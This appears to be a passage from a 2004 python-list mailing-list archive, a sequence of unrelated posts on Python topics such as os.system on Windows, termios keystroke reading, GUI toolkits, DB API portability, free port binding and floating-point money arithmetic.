after spending too many hours looking for a bug caused by an silenced
exception (for the record, the code was not written in Python, but in
Java)

This is a only a warning. It is easy to disable the report from the
command line (--disable-msg W0704) if it bothers you anyway.

My personal POV on the topic is that such blocks without a clear comment
(or an else: block) make it more difficult to read the code, as a
general rule, and should be avoided when possible, because the reader
has to find out why it is reasonable to ignore the exception.

"Errors should never pass silently.
 Unless explicitly silenced."
         -- Tim Peters' Zen of Python

I feel that explaining why you silenced the error is generally
a good idea too.

-- 
Alexandre Fayolle                              LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org


From export at hope.cz  Wed Sep 29 02:46:34 2004
From: export at hope.cz (Lad)
Date: 28 Sep 2004 23:46:34 -0700
Subject: os.system  vs. Py2Exe
References: <81a41dd.0409280200.1a74edd1@posting.google.com>
	<77ce170c.0409280647.7e98e76d@posting.google.com>
	<81a41dd.0409281107.5fd1c525@posting.google.com>
	<4159b868$0$99417$a1866201@newsreader.visi.com>
	<cjcsu9$tda$0$216.39.172.122@theriver.com>
Message-ID: <81a41dd.0409282246.3e4e5889@posting.google.com>

bokr at oz.net (Bengt Richter) wrote in message news:<cjcsu9$tda$0$216.39.172.122 at theriver.com>...
> On 28 Sep 2004 19:15:52 GMT, Grant Edwards <grante at visi.com> wrote:
> 
> >On 2004-09-28, Lad <export at hope.cz> wrote:
> >
> >> Yes, I installed all files( I think) because everything else
> >> works. Only os.system does NOT.  I use os.system to open txt
> >> file.I use it like os.system('Myfile.txt')
> >
> >What makes you think that should work?  
> >
> >Is Myfile.txt an executable file?  Under Win32, don't
> >executble file's names usually end in .exe?
> 
> It's not a matter of _being_ executable, it's a matter of having an executable
> _associated with_ the extension. Typically notepad.exe is associated with .txt
> (via an intermediate association with a generic file type name that in turn
> is associated with the actual executable):
> ----
> [16:30] C:\pywk\junk>assoc .txt
> .txt=txtfile
> 
> [16:30] C:\pywk\junk>ftype txtfile
> txtfile=C:\WINNT\System32\NOTEPAD.EXE %1
> ----
> 
> >> When I use os.startfile instead  of os.system it works well.
> >
> >Then why not use os.startfile()?  It's the correct way to start
> >the program that is supposed to handle .txt files.
> One difference is that os.system will wait for the completion of what it starts,
> but os.startfile will start a new process to do it, and return immediately.
> 
> I would try it with full absolute paths to everything the in the os.system call.
> If that works, you can look for why the environment is different.
> 
> BTW, if you execute via start menu or double clicking a desktop icon, the associated
> .lnk may specify the starting directory. If that is different from current directory,
> bare names may be looked for in unexpected place and not be found (or worse, a file
> of the same name may be found, but be the wrong one). Right click on the icon and look
> at the properties. Or right click the task bar and chase properties of start menus that way,
> or start>settings>taskbar> etc.
> 
> BTW2, if you want to type in a file name without extension, as you can with .exe
> and .bat etc., it implies a priority choice if e.g. both .exe and .bat exist
> in the same path directory. You can influence this by the PATHEXT environment
> variable. Go to a console window and type
>     help ftype|more
> and also
>     help assoc|more
> for additional info
> 
> BTW3, beware of changing .exe association!! I was aghast to find (some time ago) that
> NS4.5 let me change that association via its file association option interface.
> It was pretty squirrely to get back to normal. No console commands would work.
> (IIRC I finally used  start menu>run>browse to find and execute regedit32 and repaired
> it that way, after booting in last known good to see what the registry was supposed to be
> for .exe). Very anxious moments there ;-)
> 
> Regards,
> Bengt Richter

.txt file is associated with a propper application( Notepad.txt). AS I
said above, with os.startfile the file is open in Notepad.txt but not
if I use os.system. I can not use os.startfile, because it does not
wait until .txt file is closed


From fakeaddress at nowhere.org  Mon Sep  6 02:21:54 2004
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Mon, 06 Sep 2004 06:21:54 GMT
Subject: Tuple question
In-Reply-To: <1094449712.70288@yasure>
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
	<DvK_c.16213$r_4.2892@newssvr27.news.prodigy.com>
	<1094449712.70288@yasure>
Message-ID: <6mT_c.16258$4P4.16211@newssvr29.news.prodigy.com>

Donn Cave wrote:

 > Quoth Bryan Olson:
 > ...
 > | Alas, that's ML, not Python.  Were that Python's designers'
 > | intent, why isn't it part of Python's design?  Why would we want
 > | to live within the confines of static typing, but without the
 > | safety and efficiency advantages of a type-checking compiler?
 >
 > That is not what is homogeneous about a list.  That would indeed
 > be an absurd contradiction, so it should be easy to convince you
 > that it isn't how anyone proposes you should use a list.  So, what
 > do they mean?

I can't tell to what you are responding.

 > A homogeneous sequence, in the sense that makes sense in Python,
 > is one where any slice is has the same functional meaning to the
 > application.  Of course the data is different and that can have
 > fundamental consequences, but it's different than (key, value)
 > for example where a[:] is the only slice that preserves its
 > meaning.

That's pretty much what lists in the ML family offer, with
static but polymorphic typing.  Lisp uses lists for both
homogeneous and heterogeneous sequences.  Python allows lists or
tuples to be treated either way.  The rule to use them based on
the homogeneous/heterogeneous distinctions strikes me more as
programming language naivete than Python expertise.


-- 
--Bryan


From ebmaster at intekasia.com  Wed Sep 29 12:22:18 2004
From: ebmaster at intekasia.com ( I¦QI)
Date: 29 Sep 2004 16:22:18 GMT
Subject: My china ex. girlfriend
Message-ID: <cjenfq$av91714@imsp212.netvigator.com>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040929/8093ea4b/attachment.html>

From lee at leeHYPHENphillips.org.invalid  Wed Sep 22 18:19:31 2004
From: lee at leeHYPHENphillips.org.invalid (Lee Phillips)
Date: Wed, 22 Sep 2004 22:19:31 +0000 (UTC)
Subject: Check for keystroke
References: <Xns956C6558D1D9Anonenonecom@24.93.43.121>
Message-ID: <slrncl3upc.b6e.lee@bad-bart.lcp.nrl.navy.mil>

On Wed, 22 Sep 2004 14:37:56 GMT, Brian <ThisIsNotMyReal at ddress.com> did write:
> Inside a loop, I need to passively check to see if a key is pressed or not 
> without pausing like raw_input does.

I've had partial success on Mac OS X using termios (partial because
it seems to miss some keystrokes - also I haven't looked at this in
a while):

import termios
# in your method:
        old = termios.tcgetattr(fd) # Old term info for restoration later
        new = termios.tcgetattr(fd)
        new[3] = new[3] & ~termios.ICANON & ~termios.ECHO
        new[6][termios.VMIN] = 1
        new[6][termios.VTIME] = 0
        termios.tcsetattr(fd, termios.TCSANOW, new)

        while 1:
            try:
                command = os.read(fd, 1)
                print command+">", #Echo manually
                if command == '0':
                    termios.tcsetattr(fd, termios.TCSADRAIN, old) #Terminal back to line mode
                    break
                elif command == 'b':
                # do something....
                # and so on.....
            finally:
                termios.tcsetattr(fd, termios.TCSAFLUSH, old)



From jmfbahciv at aol.com  Wed Sep  8 07:48:36 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Wed, 08 Sep 04 11:48:36 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com><20040904.0140.57670snz@dsl.co.uk>
	<769.746T1245T5844062@kltpzyxm.invalid>
	<opsdy5xuappqzri1@mjolner.upc.no>
	<p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net>
Message-ID: <413f049f$0$6914$61fed72c@news.rcn.com>

In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>,
   rpw3 at rpw3.org (Rob Warnock) wrote:
>John Thingstad <john.thingstad at chello.no> wrote:
>+---------------
>| As you may know XP is not particularly good as a server.
>....
>| I would go for some Unix implementation (perhaps free-BSD)
>| As a workstation XP seems OK.
>| I hear a lot of complaints about XP's stability.
>| Since I have not administered a XP network, yet, I cant comment on that.
>| But in my personal experience it is a stable system.
>| I frequently let my computer run 24 hrs. a day for more than a month  
>| without a need to reboot. So for me it is adequate.
>+---------------
>
>*Only* a month?!?  Here's the uptime for one of my FreeBSD boxes
>[an old, slow '486]:
>
>    %  uptime
>     2:44AM  up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00
>    % 
>
>That's over *20* months!!

I bet we can measure the youngster's age by the uptimes he boasts.
>
>
>-Rob
>
>p.s. I remember the time back in the early 70's (at Emory Univ.) when
>we called DEC Field Service to complain that our PDP-10 had an uptime
>of over a year. Why were we complaining? Well, that meant that DEC Field
>Service had failed to perform scheduled preventive maintenance (which
>usually involved at least one power cycle)...  ;-}

One?  Had to be two.  FS was supposed to use their service pack
as the system disk, not the customers!!!  I believe that was
true even in 1970.  The dangers of smushing bits was too great.

/BAH

Subtract a hundred and four for e-mail.


From rogerb at rogerbinns.com  Sat Sep 11 16:23:47 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Sat, 11 Sep 2004 13:23:47 -0700
Subject: WxInter
References: <mailman.3148.1094829029.5135.python-list@python.org>
	<chsieg$7q1$1@news-reader3.wanadoo.fr>
Message-ID: <0b4c12-k1s.ln1@home.rogerbinns.com>

Eric Brunel wrote:
> Compare this with the tk canvas command manual at
> http://www.tcl.tk/man/tcl8.3/TkCmd/canvas.htm and you'll see we're
> quite far from it: I didn't see any means to move canvas items
> individually, or group them with tags, or knowing which items are at
> a given position, all things a tk canvas can do very easily...

How does wxArt2D compare?  http://wxart2d.sourceforge.net/

It hasn't been wrapped for wxPython yet, but seems to cover the same
sorts of issues you mentioned in the message.

Roger 




From noone at here.com  Thu Sep 30 01:10:35 2004
From: noone at here.com (M. Clift)
Date: Thu, 30 Sep 2004 06:10:35 +0100
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
	<mailman.4116.1096515802.5135.python-list@python.org>
Message-ID: <cjg4hq$r02$1@newsg4.svr.pol.co.uk>

Hi Steven,

Sorry, as I'm a beginner I don't think I should have used the title rotate
list, as that's not what I want.

If the list  ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would
of course give('d', 'b', 'a' etc...

What I'm looking for is that say if trans = 1, then the list would become
('b', 'a', 'c', 'b', 'a', 'd', 'c') .
For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a')

items = ('a', 'b', 'c', 'd')
items + 1 = ( 'b', 'c', 'd', 'a')
items + 2 = ( 'c', 'd', 'a', 'b')
items + 3 = ( 'd', 'a', 'b', 'c')

trans = 1

list = ('a', 'd', 'b', 'a', 'd', 'c', 'b')


I can think of the long/wrong way to do it as shown for trans = 3, but there
must be some simpler idea.


for idx in range(len(items)):
    if list[idx:idx + 1] == ['a']:
       list[idx:idx + 1] = ['d']
    if list[idx:idx + 1] == ['b']:
       list[idx:idx + 1] = ['a']




From steve at holdenweb.com  Sun Sep 26 12:05:44 2004
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 26 Sep 2004 12:05:44 -0400
Subject: Fixed: pyMinGW patched Python compiles in MinGW & passes
	regrtests
In-Reply-To: <8ad8ad0a.0409221415.3d328fc3@posting.google.com>
References: <8ad8ad0a.0409200909.545f257@posting.google.com>
	<ufz5clka2.fsf@yahoo.co.uk>
	<8ad8ad0a.0409221415.3d328fc3@posting.google.com>
Message-ID: <4156E8D8.7000300@holdenweb.com>

A. B., Khalid wrote:

> Paul Moore <pf_moore at yahoo.co.uk> wrote in message news:<ufz5clka2.fsf at yahoo.co.uk>...
> 
>>abkhd at earth.co.jp (A. B., Khalid) writes:
>>
>>
>>>This is to inform those interested in getting Python to compile in
>>>MinGW that the pyMinGW patch is now able to help compile both Python
>>>2.3.4 Final and Python 2.4a3 and the resulting MinGW Python passes the
>>>regrtests as follows.
>>
>>Cool! It would be nice if this could be made into a patch to core
>>python, so that the main sources support a mingw build.
>>
>>Paul.
> 
> 
> 
> Hello Paul. Sorry for the delay.
> 
> Yes, it would be, wouldn't it? If you were addressing me there, as
> opposed to the general audience of c.l.py or the core-developers of
> Python, then allow me to say that in principal I have no problem with
> pyMinGW making it to Python's core, provided of course that a
> copyright notice appears somewhere (at least in the makefiles). This I
> think would not be a problem. After all, and from what I have seen of
> Python's source, there is a good habit of including copyright notices
> of contributing authors to Python in the works they authored.
> 
> I must confess that aside from me being totally unfamiliar with the
> process of officially patching Python, the major hurdle appears to me,
> in addition to that, in whether the patch was tested enough, or by
> enough people, so as to earn itself a place in the core- that of
> course if it will be allowed a place there to start with. Have you
> tried it out? Please do if you still didn't have the chance.
> 
> I might be mistaken, but I think that testing should come first. After
> all there is nothing urgent here, or is there? When people find that
> it really works, they will call for it to be included in Python's
> source. In the meantime, pyMinGW is there for those who need it, and
> being a third-party patch should not be a reason to scare people away
> from using it, especially since it gets the job done. With that said,
> I am open to any thoughts on this from your esteemed person or from
> anyone else.
> 
I believe that contributors to the core are nowadays (or will shortly be 
expected to) assign the right to the PSF to use the material. I believe 
this is done in such a way as to allow the contributor to retain the 
rights to do whatever they like with the code also, but you should 
familiarize yourself with the current state of play.

http://www.python.org/psf/psf-contributor-agreement.html is, alas, an 
out-of-date draft, but there's probably more recent documentation 
available. python-dev is probably the place to go for authoritative 
comment on this matter.

regards
  Steve


From jerf at jerf.org  Sun Sep 19 18:19:18 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Sun, 19 Sep 2004 22:19:18 GMT
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <pan.2004.09.20.19.27.30.753994@jerf.org>

On Sun, 19 Sep 2004 17:58:44 -0400, julio wrote:
> It realy makes no sense , no sense at all.

C# is that-a-way --->

HTH.



From steven.bethard at gmail.com  Mon Sep  6 02:17:03 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Mon, 6 Sep 2004 06:17:03 +0000 (UTC)
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>	<mailman.2879.1094332737.5135.python-list@python.org>	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
Message-ID: <loom.20040906T081026-954@post.gmane.org>

Andrew Dalke <adalke <at> mindspring.com> writes:
> What I wanted was forward iteration
> in Python 1.x.  It happened that forward iteration was
> implemented only on top of indexing, so I had to hijack the
> indexing mechanism to get what I wanted.  But I never thought
> of it as "x[i] indexing" only "the hack needed to get forward
> iteration working correctly."

Good, that reaffirms my intuition that you didn't really want the __getitem__ 
behavior (eg x[i] access) -- it was just the only way to get the __iter__ 
behavior too.

Would it break old code if the __getitem__ iterator checked for a __len__ 
method and tried to use it if it was there?  It just seems like if you already 
know you're creating a sequence type and you have a __len__ and a __getitem__, 
then you've already provided all the necessary information for iteration.  Why 
should you have to define an __iter__ or throw IndexErrors in your __getitem__?

Steve



From bhk at dsl.co.uk  Tue Sep  7 17:04:52 2004
From: bhk at dsl.co.uk (Brian {Hamilton Kelly})
Date: Tue, 07 Sep 2004 22:04:52 +0100 (BST)
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41371e5c$0$19723$61fed72c@news.rcn.com>
	<20040904.2231.57679snz@dsl.co.uk>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<qsdrj0dl4qi558bopev159fg4m7rn6mfoq@4ax.com>
Message-ID: <20040907.2104.57722snz@dsl.co.uk>

On Tuesday, in article
     <qsdrj0dl4qi558bopev159fg4m7rn6mfoq at 4ax.com>
     Brian.Inglis at SystematicSW.Invalid "Brian Inglis" wrote:

> I was never aware that DEC offered TCP/IP. 

You'll have seen my later post about "TCP/IP Services for Vax/VMS"
(which, a niggle tells me, had a different name, either before or after).
This was written by the Unix developers at DEC, and consequently was very
kuldgy and astonishingly badly-documented (for those of us used to the
high quality of VMS documentation).

Did you never see a 
    UCX>
prompt?

> Politics and not timing was why TCP/IP didn't get into VMS:
> d|i|g|i|t|a|l backed the European horse that never ran as it fitted
> better with their network hardware capabilities and DECnet plans.
> It also meant they did not have to deal with those BBN guys that had
> developed a competing OS and network. 
> They had whole suites of products layered on top of DECnet that were
> sold to European governments and contractors. 

Can you say "Colour Book Software"? :-(

(Mind you, unattended file transfer running overnight beats FTP hands
down.)

-- 
Brian {Hamilton Kelly}                                     bhk at dsl.co.uk
   "I don't use Linux. I prefer to use an OS supported by a large multi-
   national vendor, with a good office suite, excellent network/internet
   software and decent hardware support."


From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Tue Sep 28 14:32:33 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Tue, 28 Sep 2004 19:32:33 +0100
Subject: floating point glitch
In-Reply-To: <1gku4as.1ni4xf51edgvp2N%aleaxit@yahoo.com>
References: <415295E6.9040602@ericsson.com>
	<l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
	<cj5v5i$7vk$1@pegasus.csx.cam.ac.uk>
	<7xhdple624.fsf@ruckus.brouhaha.com>
	<kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com>
	<cjbqfv$kdm$1@pegasus.csx.cam.ac.uk>
	<1gku4as.1ni4xf51edgvp2N%aleaxit@yahoo.com>
Message-ID: <cjcao5$jg2$1@gemini.csx.cam.ac.uk>

Alex Martelli wrote:
> Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote:
>>
>>repr() does not provide an invertible function if you are using it on a
>>list, as was pointed out here, since list.__repr__() essentially calls
>>str() for its float members rather than repr().
> 
> ?!  I think you're confused, since things are exactly the other way
> around: list.__str__ calls repr on its members (so does list.__repr__,
> which happens to be exactly the same function).

Yep, I got that exactly backwards. D'oh!

Thanks Alex and I'm sorry for any confusion I caused.
-- 
Michael Hoffman


From tim.peters at gmail.com  Wed Sep  8 23:19:14 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Wed, 8 Sep 2004 23:19:14 -0400
Subject: %a format
In-Reply-To: <413F4CFF.4030908@v.loewis.de>
References: <20040907182925.GA27643@grulic.org.ar>
	<16702.1779.773067.819528@montanaro.dyndns.org>
	<20040908130837.GB4749@grulic.org.ar>
	<16703.9151.854368.874866@montanaro.dyndns.org>
	<413F4CFF.4030908@v.loewis.de>
Message-ID: <1f7befae04090820194cc9086b@mail.gmail.com>

[Martin v. L?wis]
> ...
> For the specific feature, I think a non-libc implementation would be
> possible, since Python uses IEEE representation for floating point
> numbers on most platforms (although atleast the VMS port doesn't
> necessarily). Whether it is reasonable to implement this by mere
> bit copying is a question that Tim Peters should answer :-)

Python has no knowledge of the FP format used by the platform C it's
compiled under.  VMS and some Crays may not use IEEE double format for
Python long, but we've got no code that knows (or cares) to build on. 
Endianness differs across platforms too, of course.

I don't have a use for %a myself, so I don't care about it.  Pickles
are Python's serialization format, and pickle protocols 1 and 2 use a
portable binary format for floats that happens to be identical to 754
double format for finite non-0 floats (and so is also restricted to
the precision and dynamic range of a 754 double).  The other
serialization format is repr(float), which produces a decimal string
representation, and on every IEEE platform with IEEE-conforming libc
I/O, eval(repr(afloat)) == afloat exactly for all finite afloat.  So
there are already those two ways to transport a finite 754 float
across boxes exactly.  The marshal and struct modules supply two more
(although marshal relies on repr(); and struct in its standard modes
copy-and-paste duplicates cPickle's code).  I don't need five ways to
spell it <wink>.


From peter at engcorp.com  Fri Sep 10 12:19:26 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Sep 2004 12:19:26 -0400
Subject: Electronic voting feasibility
In-Reply-To: <JtmdnS-gR__-U9zcRVn-iQ@giganews.com>
References: <chr77a$4gj@odak26.prod.google.com>	<-_CdnSvxZtZcPdzcRVn-iw@giganews.com>
	<mailman.3140.1094820652.5135.python-list@python.org>
	<otKdnctyIcclNtzcRVn-gg@giganews.com>
	<28KdnThSO7DtM9zcRVn-pQ@powergate.ca>
	<8PWdnfxkGeIFWNzcRVn-qQ@giganews.com>
	<K9ydnRpo-6dZVdzcRVn-vw@powergate.ca>
	<JtmdnS-gR__-U9zcRVn-iQ@giganews.com>
Message-ID: <_4KdnfDylt2TSdzcRVn-pg@powergate.ca>

Istvan Albert wrote:

> Looking at what they claim, that in 2003 they discovered a back door
> affecting every evoting machine, a backdoor that requires
> a 2 digit code to overwrite the votes stored in the system,
> moreover even a year later every system has this same flaw...
> 
> I don't find this credible, ...

Maybe, but I've found other articles that said that the Diebold
machines *all* had a hardcoded password of "1111" at one point...
not a stretch to think they also had a simplistic backdoor like that.

The president of the company says they "are not incompetent", so
we might as well believe him, though, and not Bev Harris. ;-)

-Peter


From ian at cottee.org  Tue Sep 14 00:57:08 2004
From: ian at cottee.org (Ian J Cottee)
Date: Tue, 14 Sep 2004 13:57:08 +0900
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <mailman.3261.1095106220.5135.python-list@python.org>
References: <mailman.3261.1095106220.5135.python-list@python.org>
Message-ID: <5aai12-3fp.ln1@suse.zobbo.org>

Carlos Ribeiro wrote:
> Oh well. A mailing list is not the most appropriate place for rants (a
> blog is better), but it's still better than keeping it for myself.

[snip]

I spent quite a bit of time evaluating Python IDE's a few months back 
and I agree with you. The only one I liked was WingIDE 2 but none of 
them were able to tempt me away from Emacs. In particular I am using the 
emacs code browser with  Python (http://ecb.sourceforge.net). I think it 
may well do what you want although it does take a little setting up and 
if you don't know Emacs you have that hill to climb.

I just did a screen shot from some python source code I am working on 
for a Plone project. (click on the image to fullsize it).

	http://photos.zobbo.org/album04/python_ecb

Note the left hand panels which are giving links to files in the current 
directory, recently opened files, directory paths and a class browser 
for the current source file. With my setup if (for example) I <Alt>-. on 
the word StringWidget in my Case.py source file I'll automatically open 
up the class definition in the window next to it.

Using emacs python mode I get syntax hilighting, easy methods of moving 
code around and the ability to set tracepoints using pdb and display the 
pdb buffer next to the source code you are debugging. As you work your 
way through the code, the source buffer will track what you are looking 
at simultaneously.

Another benefit is I can run the same IDE on both Windows, Linux and OS 
X and (importantly for me) can run the same environment over a ssh 
terminal if I am developing on a remote machine. The screenshot is from 
XP by the way. I also use the Emacs ELSE mode to make templating easier.

if you use xemacs you can have tabbing for the openfiles although I 
personally I don't like that setup.

Not saying this solution is for everyone and it isn't perfect but it's 
the best I've found so far for me.

Ian


From aleaxit at yahoo.com  Sat Sep 25 05:38:11 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 25 Sep 2004 11:38:11 +0200
Subject: Python GUI, which one?
References: <mailman.3841.1096027498.5135.python-list@python.org>
Message-ID: <1gko2m1.qbh38g26vpuzN%aleaxit@yahoo.com>

Sells, Fred <fred at adventistcare.org> wrote:

> I see there are several different choices for Python GUI API's.  
> 
> Is there any indication of which ones are 
> 1. the most commonly used?
> 2. the most reliable?
> 3. the most robust?

There are many cross-platform ones, such as wxPython, PyQt, Tkinter,
PyGTK, and many others, and many platform-specific ones too
(Windows-only, Mac-only, etc).  Most commonly used is probably still
good old Tkinter: it was the first widespread one and is distributed
with most Python distributions (entirely so, in the case of Windows;
requiring previous installs of Tcl/Tk, elsewhere) as well as used by
IDLE, the simple IDE distributed with Python.  I would guess that
wxPython is next most popular (being free everywhere and for any
purpose) and PyQt third (being free only for free software on
non-Windows platforms, but for-pay if you want to develop non-free
software and/or to develop or deploy on Windows).

Not sure how you distinguish reliable from robust, sorry.  Tkinter has
been around for a LONG time, and widely used, so I'd guess the bugs must
be out of it by now (it helps that it offers far fewer widgets than the
newer ones: the bigger a library, the buggier it's likely to be).  PyQt,
as a product with partially commercial underpinnings, receives much care
in debugging etc, but so does wxPython (and the underlying C++ wxWidgets
toolkit it rests on); sometimes one gets the impression that things are
perennially changing with these, so that something written for 2.4.2
breaks with 2.5.1 (wx), or something written for 3.1 breaks with 3.3
(Qt), so if the holy grail is *stability* you might be happiest with
Tkinter -- tried and true and solid and stable.  (but if you're looking
for gee-whizz bazillion of widgets etc etc, that's antithetical...:-).


Alex


From peter at engcorp.com  Mon Sep 13 11:08:04 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Sep 2004 11:08:04 -0400
Subject: Not able to read blank lines and spaces on a small text file
In-Reply-To: <2e569af.0409130648.a6aa116@posting.google.com>
References: <2e569af.0409130648.a6aa116@posting.google.com>
Message-ID: <5fSdnTmE0pZIKtjcRVn-oQ@powergate.ca>

Ruben wrote:

> while record != "":
>         try:
>                 record = input_file.readline()
>                 key_value_pair = record.split()
>                 key = key_value_pair[0]
>                 value = key_value_pair[1:]
>                 concatenated_value= ' '.join(value)
>                 if record == "": 
> 			empty_string_lines += 1
> 			print " Victor Empty string lines = ", empty_string_lines
> 			break                
>         except IndexError:
>                 break

The first time this code reads a line which doesn't
contain whitespace separated records, the record.split()
call will return an empty list, and the next line will
try to retrieve the first element from it, raising an
IndexError, which will terminate the loop.

Your code doesn't seem to be following any of the usual
Python idioms.  I suggest starting with the following pattern
instead, and growing the code from there:

input_file = open(...)
try:
     for record in input_file:
         if record.strip() == '':  # blank line, ignore
             continue

         # record-processing code follows here
         key_value_pair = record.split()
         key = key_value_pair[0]
         ... etc....

finally:
     input_file.close()


The above pattern will allow the record-processing code
to handle *only* non-blank lines (including lines that
have just empty whitespace), simplify everything immensely.

-Peter


From jjl at pobox.com  Sat Sep 25 08:17:14 2004
From: jjl at pobox.com (John J. Lee)
Date: 25 Sep 2004 13:17:14 +0100
Subject: Python and Sybase
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
	<mailman.3815.1095972439.5135.python-list@python.org>
	<1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com>
Message-ID: <87hdpma6gl.fsf@pobox.com>

aleaxit at yahoo.com (Alex Martelli) writes:

> Josh Close <narshe at gmail.com> wrote:
> 
> > > Also, is there any module that provides a generic DB API and can be
> > > hooked to both Sybase and postgresql?  This
> > > (http://www.python.org/peps/pep-0249.html) looks pretty old.
> > 
> > Why would you need that? Python has a DB API, so all you have to do to
> > change from db to db is the connection string.
> > 
> > conn = Sybase.connection(.....)
> > conn = otherModules.connection(....)
> > 
> > Everthing else should work the same way.
> 
> ...except that you may need to use different placeholders in SQL strings
> for parameters to insert (sigh)...

...and there are of course variations in SQL from DBMS to DBMS...

IIRC, Steve Holden suggests in his book [1] the use of
internationalization (i18n) tools (eg. gettext) to make DB API code
portable.  Seems unfortunately apt.


[1] "Python Web Programming", New Riders (2002)


John


From shevitz at lanl.gov  Wed Sep 22 19:21:16 2004
From: shevitz at lanl.gov (Danny Shevitz)
Date: Wed, 22 Sep 2004 17:21:16 -0600
Subject: inelegance in calling dynamically created class methods from
	scripting level
Message-ID: <41520909$1_5@news3.es.net>

Howdy,

I am trying to call class methods that have been created via a "type"
function. I have enclosed a simplified example that shows what I am trying
to do. In particular I am calling from the scripting level which is in a
different namespace than the dynamically created class. I can call the
method, but only by passing strings and using getattr.I find this inelegant.
I would rather pass a callable object, but cannot figure out how to do this.
So in the example below, I'm trying to get a variant of "myApply" to work.
"myApply2" works but uses strings.

thanks,
Danny

#---%<-------------------------------------------------------------------
# The purpose of this test is to test ways
# to call subclass methods from a scripting level

class Item(object):
 def __init__(self,val):
  self.value=val

 def myPrint(self):
  print self.value

class DoSomething(object):
 def __init__(self, dict):
  ItemChild = type('Item_child',(Item,),dict)
  self.childClass=ItemChild
  # create an example list
  self.itemList = []
  for i in range(5):
   self.itemList.append(ItemChild(i))

 # can't get to work with callable objects
 def myApply(self, whatever):
  for item in self.itemList:
   whatever(item)

 # works with string arguments
 def myApply2(self, whatever):
  func = getattr(self.childClass,whatever)
  for item in self.itemList:
   func(item)

##########################################################
# begin scripting code
##########################################################

# child method to be spliced in
def reset(self,val=0):
 self.value=val

# construct a DoSomething class
ds = DoSomething({'hoopty':reset})

# I am trying to get something like this working...
# ds.myApply(???something callable???) Can't get to work!

# control operation from the scripting level
ds.myApply2('myPrint')
ds.myApply2('hoopty')
ds.myApply2('myPrint')





From mfuhr at fuhr.org  Mon Sep 13 18:14:27 2004
From: mfuhr at fuhr.org (Michael Fuhr)
Date: 13 Sep 2004 16:14:27 -0600
Subject: check for unused ports and then grab one
References: <ci502a$e77$1@solaris.cc.vt.edu>
	<mailman.3268.1095108346.5135.python-list@python.org>
Message-ID: <41461bc3$1_2@omega.dimensional.com>

Erik Heneryd <erik at heneryd.com> writes:

> Brad Tilley wrote:
> > Instead of me arbitrarily assigning a high port number to a variable, is 
> > it possible to check for ports that are unused and then randomly assign 
> > one of them to a variable?
>
> No.  Trial and error until you find one.

On many systems, binding to port 0 will give you an available port;
you can then use getsockname() to find out which port you got.

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(('', 0))
sock.listen(socket.SOMAXCONN)
ipaddr, port = sock.getsockname()
print 'listening on %s port %d' % (ipaddr, port)

-- 
Michael Fuhr
http://www.fuhr.org/~mfuhr/


From john.burton at jbmail.com  Wed Sep 22 03:13:53 2004
From: john.burton at jbmail.com (John Burton)
Date: Wed, 22 Sep 2004 08:13:53 +0100
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
Message-ID: <41512635$0$94916$5a6aecb4@news.aaisp.net.uk>

"Chris Barker" <Barkmann at gmail.com> wrote in message 
news:cc887c1d.0409202325.76ec2227 at posting.google.com...
> Hi all,
>
> I promise this is not a troll... Really, it's embarassing, because
> this is one Engineer that DID take a Numerical Analysis course, and
> from William Kahan, no less, and I still don't really get it. (and
> yes, Alex, I could have gotten my degree without it)
>
> I've seen it suggested various times that one should use fixed point
> for money, perhaps micro cents represented as integers. However, if
> you do that, you need to make sure you do all the rounding correctly.


On my version of python:

# I spent ?1 and 13 pence
p = 1.13

# How many pence is that?
print int(p*100)
112

# Oops

You don't need quadrillions of dollars before you run into a value which 
can't be represented in a floating point value to such a degree that the 
